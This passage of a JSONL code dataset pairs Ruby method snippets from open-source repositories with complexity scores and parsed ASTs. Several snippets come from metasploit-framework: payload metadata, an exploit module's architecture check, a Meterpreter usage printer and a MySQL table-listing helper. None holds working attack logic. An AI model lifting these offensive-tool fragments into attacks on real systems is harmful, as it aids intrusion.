end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Ruby Pingback, Bind TCP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Listens for a connection from the attacker, sends a UUID, then terminates\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"asoto-r7\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"ruby\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_RUBY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"BindTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"Pingback\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"ruby\"]}]}]}]}]}]}","id":"1d57315b-4e6f-4450-aaee-73f02f6403df"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/lib/chat/parsed_mentions_spec.rb","start_line":272,"raw_source":"def create_message(text, **extra_args)\n    Fabricate(:chat_message, chat_channel: chat_channel, message: text, **extra_args)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"kwrestarg\",\"children\":[\"extra_args\"]}]},{\"type\":\"send\",\"children\":[null,\"Fabricate\",{\"type\":\"sym\",\"children\":[\"chat_message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_channel\"]},{\"type\":\"send\",\"children\":[null,\"chat_channel\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extra_args\"]}]}]}]}]}","id":"1662244c-f06b-447f-9af9-60ffd2d8933a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/grids/app/services/grids/update_service.rb","start_line":44,"raw_source":"def only_widgets_updated?\n    !model.saved_changes? && model.widgets.any?(&:saved_changes?)\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"only_widgets_updated?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"saved_changes?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"widgets\"]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"saved_changes?\"]}]}]}]}]}","id":"4ab33c99-09d4-4d38-8ed8-03870237834f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-rspec_flaky/lib/gitlab/rspec_flaky/example.rb","start_line":30,"raw_source":"def line\n        metadata[:line_number]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"line\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"line_number\"]}]}]}","id":"21d4469d-a00d-4673-9d2d-fc3e6f467d4a"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/registrations_controller.rb","start_line":69,"raw_source":"def check_allowed_email(resource)\n    domain = resource.email.split(\"@\").last\n    return true if Settings::Authentication.acceptable_domain?(domain: domain)\n\n    resource.email = nil\n    # Alright, this error message isn't quite correct.  Is the email\n    # from a blocked domain?  Or an explicitly allowed domain.  I\n    # think this is enough.\n    resource.errors.add(:email, I18n.t(\"registrations_controller.error.domain\"))\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check_allowed_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"domain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"email\"]},\"split\",{\"type\":\"str\",\"children\":[\"@\"]}]},\"last\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"Authentication\"]},\"acceptable_domain?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"email=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"registrations_controller.error.domain\"]}]}]}]}]}","id":"8e35bfef-6edc-4dff-bc7b-784591fdc11d"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/theme_store/git_importer.rb","start_line":155,"raw_source":"def with_ssh_private_key\n    ssh_folder = \"#{Pathname.new(Dir.tmpdir).realpath}/discourse_theme_ssh_#{SecureRandom.hex}\"\n    FileUtils.mkdir_p ssh_folder\n\n    File.write(\"#{ssh_folder}/id_rsa\", @private_key)\n    FileUtils.chmod(0600, \"#{ssh_folder}/id_rsa\")\n\n    yield ssh_folder\n  ensure\n    FileUtils.rm_rf ssh_folder\n  end","complexity_score":11.83,"ast_json":"{\"type\":\"def\",\"children\":[\"with_ssh_private_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ssh_folder\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"tmpdir\"]}]},\"realpath\"]}]},{\"type\":\"str\",\"children\":[\"/discourse_theme_ssh_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"ssh_folder\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssh_folder\"]}]},{\"type\":\"str\",\"children\":[\"/id_rsa\"]}]},{\"type\":\"ivar\",\"children\":[\"@private_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"chmod\",{\"type\":\"int\",\"children\":[384]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssh_folder\"]}]},{\"type\":\"str\",\"children\":[\"/id_rsa\"]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssh_folder\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_rf\",{\"type\":\"lvar\",\"children\":[\"ssh_folder\"]}]}]}]}","id":"3e41e7e7-86a1-44a3-b1de-a66c256ee77d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/restore/preconditions.rb","start_line":32,"raw_source":"def ensure_supported_backup_version!\n        gitlab_version_mismatch! unless gitlab_backup_same_version?\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_supported_backup_version!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitlab_backup_same_version?\"]},null,{\"type\":\"send\",\"children\":[null,\"gitlab_version_mismatch!\"]}]}]}","id":"60714515-1738-45b3-a18a-95368fef0849"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/scripts/meterpreter/get_local_subnets.rb","start_line":15,"raw_source":"def usage\n  print_line(\"Get a list of local subnets based on the host's routes\")\n  print_line(\"USAGE: run get_local_subnets\")\n  print_line(@@exec_opts.usage)\n  raise Rex::Script::Completed\nend","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"usage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Get a list of local subnets based on the host's routes\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"USAGE: run get_local_subnets\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@exec_opts\"]},\"usage\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Script\"]},\"Completed\"]}]}]}]}","id":"419921af-ea0f-4a4b-8816-a0456704fb14"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb","start_line":148,"raw_source":"def check_target_and_payload_match_and_supported(client_arch)\n    if (client_arch != ARCH_X64) && (client_arch != ARCH_X86)\n      fail_with(Failure::BadConfig, 'This exploit currently only supports x86 and x64 targets!')\n    end\n    payload_arch = payload.arch.first # TODO: Add missing documentation for payload.arch, @wvu used this first but it is not documented anywhere.\n    if (payload_arch != ARCH_X64) && (payload_arch != ARCH_X86)\n      fail_with(Failure::BadConfig, \"Unsupported payload architecture (#{payload_arch})\") # Unsupported architecture, so return an error.\n    end\n    if ((client_arch == ARCH_X64) && (payload_arch != ARCH_X64)) || ((client_arch == ARCH_X86) && (payload_arch != ARCH_X86))\n      fail_with(Failure::BadConfig, \"Payload architecture (#{payload_arch}) doesn't match the architecture of the target (#{client_arch})!\")\n    end\n  end","complexity_score":25.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check_target_and_payload_match_and_supported\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client_arch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client_arch\"]},\"!=\",{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client_arch\"]},\"!=\",{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"This exploit currently only supports x86 and x64 targets!\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"payload_arch\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"arch\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_arch\"]},\"!=\",{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_arch\"]},\"!=\",{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported payload architecture (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_arch\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client_arch\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_arch\"]},\"!=\",{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client_arch\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_arch\"]},\"!=\",{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload architecture (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_arch\"]}]},{\"type\":\"str\",\"children\":[\") doesn't match the architecture of the target (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client_arch\"]}]},{\"type\":\"str\",\"children\":[\")!\"]}]}]},null]}]}]}","id":"de25c30c-3d7b-4616-8ddd-781918349a99"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/telegram/send_attachments_service.rb","start_line":80,"raw_source":"def send_individual_attachments(attachments)\n    response = nil\n    attachments.map do |attachment|\n      response = document_request(channel.chat_id(message), attachment, channel.reply_to_message_id(message))\n      break unless handle_response(response)\n    end\n    response\n  end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_individual_attachments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachments\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachments\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"document_request\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel\"]},\"chat_id\",{\"type\":\"send\",\"children\":[null,\"message\"]}]},{\"type\":\"lvar\",\"children\":[\"attachment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel\"]},\"reply_to_message_id\",{\"type\":\"send\",\"children\":[null,\"message\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},null,{\"type\":\"break\",\"children\":[]}]}]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}","id":"b76510e7-8bb3-4a36-9c6a-d0d548dea6b9"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/frameit/spec/commands_generator_spec.rb","start_line":4,"raw_source":"def expect_runner_run\n    fake_runner = \"runner\"\n    expect(Frameit::Runner).to receive(:new).and_return(fake_runner)\n    expect(fake_runner).to receive(:run)\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_runner_run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fake_runner\",{\"type\":\"str\",\"children\":[\"runner\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Frameit\"]},\"Runner\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"new\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"fake_runner\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"fake_runner\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"run\"]}]}]}]}]}","id":"bf066d93-a41a-4e0c-9fd0-6eb794eda8bc"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/extensions/view/slice_configured_view.rb","start_line":218,"raw_source":"def scope_superclass\n          return Hanami::View::Scope if app?\n\n          begin\n            inflector.constantize(inflector.camelize(\"#{slice.app.slice_name.name}/views/scope\"))\n          rescue NameError\n            Hanami::View::Scope\n          end\n        end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"scope_superclass\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hanami\"]},\"View\"]},\"Scope\"]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inflector\"]},\"constantize\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inflector\"]},\"camelize\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slice\"]},\"app\"]},\"slice_name\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"/views/scope\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NameError\"]}]},null,{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hanami\"]},\"View\"]},\"Scope\"]}]},null]}]}]}]}","id":"4eb3bbd6-52f9-4886-ad8a-ae2d2fce4b88"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/worker_management/heartbeat.rb","start_line":19,"raw_source":"def clean_heartbeat_files\n    Dir.glob(Rails.root.join(\"tmp/*.hb\")).each { |f| File.delete(f) }\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"clean_heartbeat_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"tmp/*.hb\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"f\"]}]}]}]}","id":"06f24b31-2995-4a99-8907-574190ce6d7d"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/caching_test.rb","start_line":74,"raw_source":"def test_read_fragment_with_caching_disabled\n    @controller.perform_caching = false\n    @store.write(\"views/name\", \"value\")\n    assert_nil @controller.read_fragment(\"name\")\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_read_fragment_with_caching_disabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"perform_caching=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store\"]},\"write\",{\"type\":\"str\",\"children\":[\"views/name\"]},{\"type\":\"str\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"read_fragment\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}]}","id":"9fc85a41-cbef-4031-a7b6-d0387b872e32"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/lib/tooling/ci_analytics/cache_log_parser.rb","start_line":173,"raw_source":"def self.calculate_duration(start_time, end_time)\n        return unless start_time && end_time\n\n        (end_time - start_time).round(2)\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"calculate_duration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"start_time\"]},{\"type\":\"arg\",\"children\":[\"end_time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_time\"]},{\"type\":\"lvar\",\"children\":[\"end_time\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"end_time\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start_time\"]}]}]},\"round\",{\"type\":\"int\",\"children\":[2]}]}]}]}","id":"237d1289-2700-4ca2-8600-e653b12904dd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/mysql/mysql_schemadump.rb","start_line":104,"raw_source":"def get_tbl_names(dbname)\n    tables = []\n    res = mysql_query(\"SHOW tables from #{dbname}\")\n    if res.size > 0\n      res.each do |row|\n        next if row[0].nil?\n        next if row[0].empty?\n\n        tables << row[0]\n      end\n    end\n    return tables\n  end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_tbl_names\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dbname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tables\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SHOW tables from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dbname\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tables\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tables\"]}]}]}]}","id":"e9bf8b94-5981-462b-96bf-fd4be572def7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-schema-validation/lib/gitlab/schema/validation/validators/extra_table_columns.rb","start_line":10,"raw_source":"def execute\n            database.tables.filter_map do |database_table|\n              table_name = database_table.name\n              structure_sql_table = structure_sql.fetch_table_by_name(table_name)\n\n              next unless structure_sql_table\n\n              inconsistencies = database_table.columns.reject do |database_table_column|\n                structure_sql_table.column_exists?(database_table_column.name)\n              end\n\n              if inconsistencies.any?\n                build_inconsistency(self.class, nil, SchemaObjects::Table.new(table_name, inconsistencies))\n              end\n            end\n          end","complexity_score":26.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database\"]},\"tables\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"database_table\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database_table\"]},\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"structure_sql_table\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"structure_sql\"]},\"fetch_table_by_name\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"structure_sql_table\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"inconsistencies\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database_table\"]},\"columns\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"database_table_column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"structure_sql_table\"]},\"column_exists?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database_table_column\"]},\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inconsistencies\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"build_inconsistency\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SchemaObjects\"]},\"Table\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"inconsistencies\"]}]}]},null]}]}]}]}","id":"8ffc2ffa-1a2d-4b5f-8bb0-47c4ef3c49a0"}
